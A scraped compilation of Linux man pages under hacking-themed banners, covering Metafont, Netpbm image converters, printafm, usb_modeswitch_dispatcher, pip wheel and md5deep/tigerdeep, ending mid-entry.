Metafont can use most modern displays, so you can see its output without printing. Chapter 23 of The Metafont book describes what you can do. This implementation of Metafont uses environment variables to determine which display device you want to use. First it looks for a variable MFTERM, and then for TERM. If it can’t find either, you get no online output. Otherwise, the value of the variable determines the device to use: hp2627, sun (for old SunView), tek, uniterm (for an Atari ST Tek 4014 emulator), xterm (for either X10 or X11). Some of these devices may not be supported in all Metafont executables; the choice is made at compilation time.

On some systems, there are two Metafont binaries, mf and mf-nowin. On those systems the mf binary supports graphics, while the mf-nowin binary does not. The mf-nowin binary is used by scripts like mktexpk where graphics support is a nuisance rather than something helpful.

OPTIONS

This version of Metafont understands the following command line options.

-base* base*
Use base as the name of the base to be used, instead of the name by which Metafont was called or a %& line.

-cnf-line* string*
Parse string as a texmf.cnf configuration line. See the Kpathsea manual.

-file-line-error
Print error messages in the form file:line:error which is similar to the way many compilers format them.

-no-file-line-error
Disable printing error messages in the file:line:error style.

-file-line-error-style
This is the old name of the -file-line-error option.

-halt-on-error
Exit with an error code when an error is encountered during processing.

-help
Print help message and exit.

-ini
Be inimf, for dumping bases; this is implicitly true if the program is called as inimf.

-interaction* mode*
Sets the interaction mode. The mode can be one of batchmode, nonstopmode, scrollmode, and errorstopmode. The meaning of these modes is the same as that of the corresponding commands.

-jobname* name*
Use name for the job name, instead of deriving it from the name of the input file.

-kpathsea-debug* bitmask*
Sets path searching debugging flags according to the bitmask. See the Kpathsea manual for details.

-maketex* fmt*
Enable mktexfmt, where fmt must be mf.

-no-maketex* fmt*
Disable mktexfmt, where fmt must be mf.

-output-directory* directory*
Write output files in directory instead of the current directory. Look up input files in directory first, then along the normal search path.

-parse-first-line
If the first line of the main input file begins with %& parse it to look for a dump name or a -translate-file option.

-no-parse-first-line
Disable parsing of the first line of the main input file.

-progname* name*
Pretend to be program name. This affects both the format used and the search paths.

-recorder
Enable the filename recorder. This leaves a trace of the files opened for input and output in a file with extension .fls.

-translate-file* tcxname*
Use the tcxname translation table.

-version
Print version information and exit.

ENVIRONMENT

See the Kpathsearch library documentation (the `Path specifications’ node) for the details of how the environment variables are use when searching. The kpsewhich utility can be used to query the values of the variables.

If the environment variable TEXMFOUTPUT is set, Metafont attempts to put its output files in it, if they cannot be put in the current directory. Again, see tex(1).

MFINPUTS
Search path for input files.

MFEDIT
Command template for switching to editor.

MFTERM
Determines the online graphics display. If MFTERM is not set, and DISPLAY is set, the Metafont window support for X is used. (DISPLAY must be set to a valid X server specification, as usual.) If neither MFTERM nor DISPLAY is set, TERM is used to guess the window support to use.

FONT UTILITIES

A number of utility programs are available. The following is a partial list of available utilities and their purpose. Consult your local Metafont guru for details.

gftopk
Takes a gf file and produces a more tightly packed pk font file.

gftodvi
Produces proof sheets for fonts.

gftype
Displays the contents of a gf file in mnemonics and/or images.

pktype
Mnemonically displays the contents of a pk file.

mft
Formats a source file as shown in Computer Modern Typefaces.

FILES

mf.pool
Encoded text of Metafont’s messages.

*.base
Predigested Metafont base files.

$TEXMFMAIN/metafont/base/plain.mf
The standard base.

$TEXMFMAIN/metafont/misc/modes.mf
The file of mode_defs for your site’s various printers

NOTES

This manual page is not meant to be exhaustive. The complete documentation for this version of Metafont can be found in the info manual Web2C: A TeX implementation.

BUGS

On January 4, 1986 the ``final’’ bug in Metafont was discovered and removed. If an error still lurks in the code, Donald E. Knuth promises to pay a finder’s fee which doubles every year to the first person who finds it. Happy hunting.

SUGGESTED READING

Donald E. Knuth, The Metafont book (Volume C of Computers and Typesetting), Addison-Wesley, 1986, ISBN 0-201-13445-4.
Donald E. Knuth, Metafont:  The Program (Volume D of Computers and Typesetting), Addison-Wesley, 1986, ISBN 0-201-13438-1.
Donald E. Knuth, Computer Modern Typefaces (Volume E of Computers and Typesetting), Addison-Wesley, 1986, ISBN 0-201-13446-2.
TUGboat (the journal of the TeX Users Group).

COMMENTS

Warning: ``Type design can be hazardous to your other interests. Once you get hooked, you will develop intense feelings about letterforms; the medium will intrude on the messages that you read. And you will perpetually be thinking of improvements to the fonts that you see everywhere, especially those of your own design.’'

SEE ALSO

gftopk(1), gftodvi(1), gftype(1), mft(1), mpost(1), pltotf(1), tftopl(1).

AUTHORS

Metafont was designed by Donald E. Knuth, who implemented it using his Web system for Pascal programs. It was originally ported to Unix by Paul Richards at the University of Illinois at Urbana-Champaign. This page was mostly written by Pierre MacKay.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

383 - Linux cli command mysqld_safe_helper

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mysqld_safe_helper and provides detailed information about the command mysqld_safe_helper, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mysqld_safe_helper.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

384 - Linux cli command printafm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command printafm and provides detailed information about the command printafm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the printafm.

NAME 🖥️ printafm 🖥️

Print the metrics from a Postscript font in AFM format using ghostscript

SYNOPSIS

printafm fontname

DESCRIPTION

This script invokes gs(1) to print the metrics from a font in AFM format. Output goes to stdout.

SEE ALSO

gs(1)

VERSION

This document was last revised for Ghostscript version 10.03.1.

AUTHOR

Artifex Software, Inc. are the primary maintainers of Ghostscript. This manpage by George Ferguson.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

385 - Linux cli command winicontopam

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command winicontopam and provides detailed information about the command winicontopam, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the winicontopam.

.

NAME 🖥️ winicontopam 🖥️

convert a Microsoft Windows icon file into a Netpbm PAM file

SYNOPSIS

winicontopam [-image=index | -allimages] [-andmasks] [-verbose] [icon_file]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one to designate an option. You may use either white space or equals signs between an option name and its value.

DESCRIPTION

This program is part of Netpbm(1) .

winicontopam reads a Microsoft Windows icon file and converts it to one or more RGB_ALPHA Netpbm PAM images.

There are two kinds of transparency information a a Windows icon can have: and mask and graded transparency map. The and mask is older and indicates for each pixel whether it is fully opaque or fully transparent. The graded transparency map can indicate translucent values too. The graded transparency map is present in an icon that uses PNG encoding or uses BMP encoding with 32 bits per pixel.

The transparency plane in the PAM output of winicontopam comes from the graded transparency map if it exists and the and mask otherwise.

An icon may actually have both forms of transparency information. See -andmasks.

The output goes to Standard Output.

The output is a multi-image PAM file. If you want a separate file for each image, use pamsplit(1) .

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), winicontopam recognizes the following command line options:

-allimages
Convert all images in the input.

You may not specify this together with -image.

By default, winicontopam converts only the one “best quality” image (largest, then most bits per pixel).

**-image=**index
Convert image number index (starting with zero).

You may not specify this together with -allimages.

By default, winicontopam converts the “best quality” image (largest, then most bits per pixel).

-andmasks
If the image to be extracted contains both graded transparency data and an AND mask, produce five-channel Netpbm PAM images with the AND mask as the fifth plane. An image that formally has graded transparency data, but it indicates nothing but opaque pixels is considered not to have graded transparency data, so -andmasks would have no effect on it.

-verbose
Print more messages

SEE ALSO

  • pamtowinicon(1)

  • winicontoppm(1)

  • pamsplit(1)

  • pam(1)

  • winicon(1)

For information on the PNG format, see http://schaik.com/png .

HISTORY

winicontopam was new in Netpbm 10.63 (June 2013). It obsoleted winicontoppm by providing more function and conforming better to Netpbm conventions.

AUTHOR

Copyright (C) 2013 by Ludolf Holzheid.

Translated to Netpbm coding style by Bryan Henderson.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/winicontopam.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

386 - Linux cli command ppmtoneo

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtoneo and provides detailed information about the command ppmtoneo, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtoneo.

.

NAME 🖥️ ppmtoneo 🖥️

convert a PPM into an Atari Neochrome .neo file

SYNOPSIS

ppmtoneo

[ppmfile]

DESCRIPTION

This program is part of Netpbm(1) .

ppmtoneo reads a PPM image as input and produces an Atari Neochrome .neo file as output.

OPTIONS

There are no command line options defined specifically for ppmtoneo, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

neotoppm(1) , ppm(1)

AUTHOR

Copyright (C) 2001 by Teemu Hukkanen <[email protected]>, based on ppmtopi1 by Steve Belczyk ([email protected]) and Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtoneo.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

387 - Linux cli command usb_modeswitch_dispatcher

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command usb_modeswitch_dispatcher and provides detailed information about the command usb_modeswitch_dispatcher, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the usb_modeswitch_dispatcher.

NAME 🖥️ usb_modeswitch_dispatcher 🖥️

Linux wrapper for usb_modeswitch (not intended for direct invocation)

SYNOPSIS

usb_modeswitch_dispatcher

DESCRIPTION

usb_modeswitch_dispatcher will do detailed device checking and will subsequently use the Linux-independent usb_modeswitch binary together with the selected device config file to switch the mode of certain USB devices.

If no drivers are taking care of the device after the mode switch, the dispatcher will try to load and bind the “option” serial driver to any USB interfaces with class 0xff, in order to make the device useable in case it is not recognized by that driver yet. This may or may not work.

This program is called by udev and is not supposed to be called directly by the user.

SEE ALSO

usb_modeswitch(1).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

388 - Linux cli command pcxtoppm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pcxtoppm and provides detailed information about the command pcxtoppm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pcxtoppm.

.

NAME 🖥️ pcxtoppm 🖥️

convert a PCX file into a PPM image

SYNOPSIS

pcxtoppm [-stdpalette] [-verbose] [pcxfile]

DESCRIPTION

This program is part of Netpbm(1) .

pcxtoppm reads a PCX file as input and produces a PPM image as output.

pcxtoppm recognizes the following PCX types:

  • Colormapped files with 2-16 colors.

“Packed pixel” format (1, 2 or 4 bits/pixel, 1 plane) or bitplane format (1 bit/pixel, 1-4 planes). The program uses a predefined standard palette if the image does not provide one. “Does not provide one” means the palette in the PCX header is completely black.

  • Colormapped files with 256 colors.

8 bits/pixel, 1 plane, colormap at the end of the file.

  • 24bit truecolor files.

24bit RGB: 8 bits/pixel, 3 planes.

  • 32bit truecolor files.

24bit RGB + 8bit intensity: 8 bits/pixel, 4 planes.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pcxtoppm recognizes the following command line options:

-stdpalette
This option causes pcxtoppm to use its predefined standard palette even if the PCX image provides its own. This is meaningful only for an image in the 16 color paletted PCX format.

The image may appear to provide its own palette but in fact be created by a program too primitive to understand palettes that created a random palette by accident.

-verbose
Report details of the PCX header.

SEE ALSO

ppmtopcx(1) , ppm(1)

AUTHORS

Copyright 1990 by Michael Davidson.

Modified 1994 by Ingo Wilken ([email protected])

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pcxtoppm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

389 - Linux cli command pip3-wheel

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pip3-wheel and provides detailed information about the command pip3-wheel, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pip3-wheel.

NAME 🖥️ pip3-wheel 🖥️

wheel - description of pip3 wheel command

DESCRIPTION

Build Wheel archives for your requirements and dependencies.

Wheel is a built-package format, and offers the advantage of not recompiling your software during every install. For more details, see the wheel docs: https://wheel.readthedocs.io/en/latest/

‘pip wheel’ uses the build system interface as described here: https://pip.pypa.io/en/stable/reference/build-system/

USAGE

python -m pip wheel [options] … python -m pip wheel [options] -r … python -m pip wheel [options] [-e] … python -m pip wheel [options] [-e] … python -m pip wheel [options] <archive url/path> …

OPTIONS

-w, –wheel-dir <dir>
Build wheels into <dir>, where the default is the current working directory.

(environment variable: PIP_WHEEL_DIR)

–no-binary <format_control>
Do not use binary packages. Can be supplied multiple times, and each time adds to the existing value. Accepts either “:all:” to disable all binary packages, “:none:” to empty the set (notice the colons), or one or more package names with commas between them (no colons). Note that some packages are tricky to compile and may fail to install when this option is used on them.

(environment variable: PIP_NO_BINARY)

–only-binary <format_control>
Do not use source packages. Can be supplied multiple times, and each time adds to the existing value. Accepts either “:all:” to disable all source packages, “:none:” to empty the set, or one or more package names with commas between them. Packages without binary distributions will fail to install when this option is used on them.

(environment variable: PIP_ONLY_BINARY)

–prefer-binary
Prefer binary packages over source packages, even if the source packages are newer.

(environment variable: PIP_PREFER_BINARY)

–no-build-isolation
Disable isolation when building a modern source distribution. Build dependencies specified by PEP 518 must be already installed if this option is used.

(environment variable: PIP_NO_BUILD_ISOLATION)

–use-pep517
Use PEP 517 for building source distributions (use –no-use-pep517 to force legacy behaviour).

(environment variable: PIP_USE_PEP517)

–check-build-dependencies
Check the build dependencies when PEP517 is used.

(environment variable: PIP_CHECK_BUILD_DEPENDENCIES)

-c, –constraint <file>
Constrain versions using the given constraints file. This option can be used multiple times.

(environment variable: PIP_CONSTRAINT)

-e, –editable <path/url>
Install a project in editable mode (i.e. setuptools “develop mode”) from a local project path or a VCS url.

(environment variable: PIP_EDITABLE)

-r, –requirement <file>
Install from the given requirements file. This option can be used multiple times.

(environment variable: PIP_REQUIREMENT)

–src <dir>
Directory to check out editable projects into. The default in a virtualenv is “<venv path>/src”. The default for global installs is “<current dir>/src”.

(environment variable: PIP_SRC, PIP_SOURCE, PIP_SOURCE_DIR, PIP_SOURCE_DIRECTORY)

–ignore-requires-python
Ignore the Requires-Python information.

(environment variable: PIP_IGNORE_REQUIRES_PYTHON)

–no-deps
Don’t install package dependencies.

(environment variable: PIP_NO_DEPS, PIP_NO_DEPENDENCIES)

–progress-bar <progress_bar>
Specify whether the progress bar should be used [on, off, raw] (default: on)

(environment variable: PIP_PROGRESS_BAR)

–no-verify
Don’t verify if built wheel is valid.

(environment variable: PIP_NO_VERIFY)

-C, –config-settings <settings>
Configuration settings to be passed to the PEP 517 build backend. Settings take the form KEY=VALUE. Use multiple –config-settings options to pass multiple keys to the backend.

(environment variable: PIP_CONFIG_SETTINGS)

–build-option <options>
Extra arguments to be supplied to ‘setup.py bdist_wheel’.

(environment variable: PIP_BUILD_OPTION)

–global-option <options>
Extra global options to be supplied to the setup.py call before the install or bdist_wheel command.

(environment variable: PIP_GLOBAL_OPTION)

–pre
Include pre-release and development versions. By default, pip only finds stable versions.

(environment variable: PIP_PRE)

–require-hashes
Require a hash to check each requirement against, for repeatable installs. This option is implied when any package in a requirements file has a –hash option.

(environment variable: PIP_REQUIRE_HASHES)

–no-clean
Don’t clean up build directories.

(environment variable: PIP_NO_CLEAN)

AUTHOR

pip developers

COPYRIGHT

The pip developers

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

390 - Linux cli command pbmreduce

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmreduce and provides detailed information about the command pbmreduce, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmreduce.

.

NAME 🖥️ pbmreduce 🖥️

read a PBM image and reduce it N times

SYNOPSIS

pbmreduce [-floyd|-fs|-threshold] [-value val] [**-randomseed=**integer] N [pbmfile]

You can abbreviate any option to its shortest unique prefix.

DESCRIPTION

This program is part of Netpbm(1) .

pbmreduce reads a PBM image as input and reduces it by a factor of N, producing a PBM image as output.

pbmreduce duplicates a lot of the functionality of pamditherbw; you could do something like pamscale | pamditherbw, but pbmreduce is a lot faster.

You can use pbmreduce to “re-halftone” an image. Let’s say you have a scanner that only produces black&white, not grayscale, and it does a terrible job of halftoning (most b&w scanners fit this description). One way to fix the halftoning is to scan at the highest possible resolution, say 300 dpi, and then reduce by a factor of three or so using pbmreduce. You can even correct the brightness of an image, by using the -value option.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pbmreduce recognizes the following command line options:

-threshold
By default, pbmreduce does the halftoning after the reduction via boustrophedonic Floyd-Steinberg error diffusion; however, you can use this option to specify simple thresholding. This gives better results when reducing line drawings.

-floyd, -fs
Specify the Floyd-Steinberg error diffusion method. This is the default.

-value
This option alters the thresholding value for all quantizations. It should be a real number between 0 and 1. Above 0.5 means darker images; below 0.5 means lighter.

**-randomseed=**integer
This is the seed for the random number generator that controls the halftoning.

Use this to ensure you get the same image on separate invocations.

This option was new in Netpbm 10.75 (June 2016).

SEE ALSO

pamenlarge(1) , pamscale(1) , pamditherbw(1) , pbm(1)

AUTHOR

Copyright (C) 1988 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmreduce.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

391 - Linux cli command tigerdeep

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tigerdeep and provides detailed information about the command tigerdeep, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tigerdeep.

NAME 🖥️ tigerdeep 🖥️

Compute and compare MD5 message digests
sha1deep - Compute and compare SHA-1 message digests
sha256deep - Compute and compare SHA-256 message digests
tigerdeep - Compute and compare Tiger message digests
whirlpooldeep - Compute and compare Whirlpool message digests

SYNOPSIS

md5deep -v | -V | -h
md5deep [-m|-M|-x|-X <file>] [-a|-A <hash>] [-f <file>] [-p <size>] [-i <size>] [-tnwzresS0lbkqZud] [-F <bum>] [-o <fbcplsde>] [-j <num>] [[FILES]

DESCRIPTION

Computes the hashes, or message digest, for any number of files while optionally recursively digging through the directory structure. Can also take a list of known hashes and display the filenames of input files whose hashes either do or do not match any of the known hashes. Errors are reported to standard error. If no FILES are specified, reads from standard input.

-p <size>
Piecewise mode. Breaks files into chunks before hashing. Chunks may be specified using IEC multipliers b, k, m, g, t, p, or e. (Never let it be said that the author didn’t plan ahead!) This mode cannot be used with the -z mode.

-i|-I <size>
Size threshold mode. Only hash files smaller than the given the threshold. In -i mode, simply omits those files larger than the threshold. In -I mode, displays all files, but uses asterisks for the hashes of files larger than the threshold. Sizes may be specified using IEC multipliers b, k, m, g, t, p, or e.

-r
Enables recursive mode. All subdirectories are traversed. Please note that recursive mode cannot be used to examine all files of a given file extension. For example, calling md5deep -r *.txt will examine all files in directories that end in .txt.

-e
Displays a progress indicator and estimate of time remaining for each file being processed. Time estimates for files larger than 4GB are not available on Windows. This mode may not be used with th -p mode.

-m <file>
Enables matching mode. The file given should be a list of known hashes. The input files are examined one at a time, and only those files that match the list of known hashes are output. This flag may be used more than once to add multiple sets of known hashes. Acceptable formats for lists of known hashes are plain (such as those generated by md5deep or md5sum), Hashkeeper files, iLook, and the National Software Reference Library (NSRL) as produced by the National Institute for Standards in Technology.
If standard input is used with the -m flag, displays “stdin” if the input matches one of the hashes in the list of known hashes. If the hash does not match, the program displays no output.
This flag may not be used in conjunction with the -x, -X, or -A flags. See the section “UNICODE SUPPORT” below.

-x <file>
Same as the -m flag above, but does negative matching. That is, only those files NOT in the list of known hashes are displayed.
This flag may not be used in conjunction with the -m, -M, or -a flags. See the section “UNICODE SUPPORT” below.

-M and -X <file>
Same as -m and -x above, but displays the hash for each file that does (or does not) match the list of known hashes.

-a <hash>
Adds a single hash to the list of known hashes used for matching mode, and if not already enabled, enables matching mode. Adding single hashes cannot, by itself, be used to print the hashes of matching files like the -M flag does. When used in conjunction with the -w flag, the filename displayed is just the hash submitted on the command line.
This flag may not be used in conjunction with the -x, -X, or -A flags.

-A <hash>
Same as -a above, but does negative matching. This flag may not be used in conjunction with the -m, -M, or -A flags.

-f <file>
Takes a list of files to be hashed from the specified file. Each line is assumed to be a filename. This flag can only be used once per invocation. If it’s used a second time, the second instance will clobber the first.
Note that you can still use other flags, such as the -m or -x modes, and submit additional FILES on the command line.

-w
During any of the matching modes (-m,-M,-x,or -X), displays the filename of the known hash that matched the input file. See the section “UNICODE SUPPORT” below.

-t
